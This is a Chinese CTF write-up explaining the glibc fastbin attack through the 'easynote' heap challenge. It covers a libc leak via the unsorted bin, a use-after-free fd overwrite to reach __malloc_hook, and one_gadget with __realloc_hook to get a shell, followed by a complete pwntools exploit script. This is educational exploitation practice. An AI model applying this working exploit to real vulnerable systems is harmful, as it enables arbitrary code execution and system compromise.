Pwn·Heap·Fastbinattack

Posted by Zephyr on Saturday, June 8, 2024

FastbinDup

  • 可以将目标地址设定为return address 或者Hook Function这类可以控制执行流程的地址。
  • 注意fastbin fd是指向chunk header的,因此记得要换算一下偏移。
  • Malicious ChunkSize须符合Fastbin所属的Size
  • libc 2.26之后,Fast Chunk会首先进入Tcachelibc 2.31libc 2.27差不多
  • 因此fastbin是一个很通用的打法。
  • 在支持Tcachelibc版本需要将tcache放满

在tcache放满的情况下,malloc不会拿fastbin而是拿tcache,可以用calloc不会拿tcache的特性绕过。

具体例子

easynote

题目来源:DASCTF 2023六月挑战赛 | Pwn专项

构造一个chunk,使其进入Unsorted Bin,然后打印fd指针即可获取一个与 main_arena 有固定偏移的地址,通过动态调试同时获取这个地址和libc基址,即可获取此地址与libc之间的偏移,从获取libc基址。

  1. 申请大小为4000的准备进入Unsorted Bin的内存,其编号为0
  2. 申请大小为4000的,防止0号内存合并进top chunk
  3. 释放掉0号内存,使其进入Unsorted Bin,此时原本指向数据的指针将指向chunk结构体的fd成员变量。
  4. 输出0号内存的值,获取 main_arena 有固定偏移的地址
  5. 通过调试可以获取到此时libc基址,算出地址与libc的偏移为0x3c4b78
one_gadget libc-2.23.so > pwn.txt
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

使用Fastbin Attack实现任意地址写,主要思想是控制在__malloc_hook附近寻找可以当作"进入fastbinchunk“的结构体,然后通过UAF将进入fastbinchunkfd成员变量修改成构造的结构体地址,使__malloc_hook附近构造的结构体进入fastbin尾部,使其能够通过malloc获取__malloc_hook附近的指针,以便覆盖__malloc_hook的值。

  1. 寻找__malloc_hook附近的内存,发现__malloc_hook上方存在0x000000000000007F,适合作为chunksize,此时size对于__malloc_hook的偏移为0x1B,chunk地址距离size地址还差一个prev_size成员变量,因此chunk地址需要__malloc_hook地址减去0x23,其可malloc的大小为0x60(chunk大小减去prev_sizesizemalloc出来的大小为可储存的用户数据大小为0x6F,又因为需要和2 * SIZE_SZ对齐,所以我们只能申请0x60的大小)
  2. 申请大小为0x60(十进制96)的内存
  3. 释放掉刚刚申请的内存使其进入fastbin
  4. 通过UAF修改fd指针为__malloc_hook0x23
  5. 申请大小为0x60的内存,将刚刚进入fastbin的内存申请回来
  6. 再次申请大小为0x60的内存,获取__malloc_hook附近的指针
  7. 将其内存赋值为gadget准备获取shell(因为实际上并不能直接获取)

__malloc_hook + __realloc_hook

经过测试,发现几个gadget都不能满足要求,这时候就需要调整内存结构使其满足gadget的需求,我们选取要求[rsp+0x30] == NULL的gadget使其满足get shell的要求,我们可以通过将__mallloc_hook设置成realloc附近地址(具体选哪里取决于我们用多少个push能get shell),再将__realloc_hook设置成gadget来获取shell(因为realloc有好多push可以改变rsp使其更有可能满足gadget条件),经过测试,直接使用realloc即可get shell。

from pwn import *
context.arch  = 'amd64'
# context.arch = 'amd64'
context.log_level = 'debug'
# p = process(["./libc6-i386_2.31-0ubuntu9.14_amd64.so", "./ISCC_easy"],env={"LD_PRELOAD":"./libc6-i386_2.31-0ubuntu9.14_amd64.so"})
# p = process('./ISCC_easy')
# p = remote("182.92.237.102", 10013)
context.terminal =['tmux','splitw','-h']

# p = process("./pwn")
p = remote("train.hitctf.cn",25931)
libc = ELF("./libc-2.23.so")

def add(length, payload):
    p.sendafter("5. exit",str(1))
    p.sendafter("The length of your content --->",str(length))
    p.sendafter("Content --->",payload)

def edit(index, length, payload):
    p.sendafter("5. exit",str(2))
    p.sendafter("Index --->",str(index))
    p.sendafter("The length of your content --->",str(length))
    p.sendafter("Content --->",payload)

def delete(index):
    p.sendafter("5. exit",str(3))
    p.sendafter("Index --->",str(index))

def show(index):
    p.sendafter("5. exit",str(4))
    p.sendafter("Index --->",str(index))

def d():
    gdb.attach(p)
    pause()

add(4000,b'a')
add(4000,b'a')
delete(0)
# d()
show(0)
p.recvuntil("Content: ")
leak_data = u64(p.recvuntil(b'done')[:-5].ljust(8,b'\x00'))
success(f"leak_data--->{hex(leak_data)}")
# d()
libc_base = leak_data - 0x3c4b78
success(f"libc_base--->{libc_base}")
# d()
# d()
malloc_hook = libc_base + libc.sym['__malloc_hook']
og = libc_base + 0x4527a
realloc_addr = libc_base + libc.sym['realloc']

add(0x60,b'aaaa') # 2
delete(2)
edit(2,9,p64(malloc_hook-0x23)) # chunk.fd -> malloc_hook - 0x23
add(0x60,b'aaaa') # 拿到这个 下一个就是malloc_hook
# d()
# gdb.attach(p)
add(0x60, b'A'*11+p64(og)+p64(realloc_addr)) # 改成og

# p.sendafter("5. exit",str(1))
# p.sendafter("The length of your content --->",str(96))

p.interactive()

此外,在pwngdb中支持利用find_fake_fast [-h] addr size可以找到候选的fast chunks,这个可以用于fastbin dups和house of spirit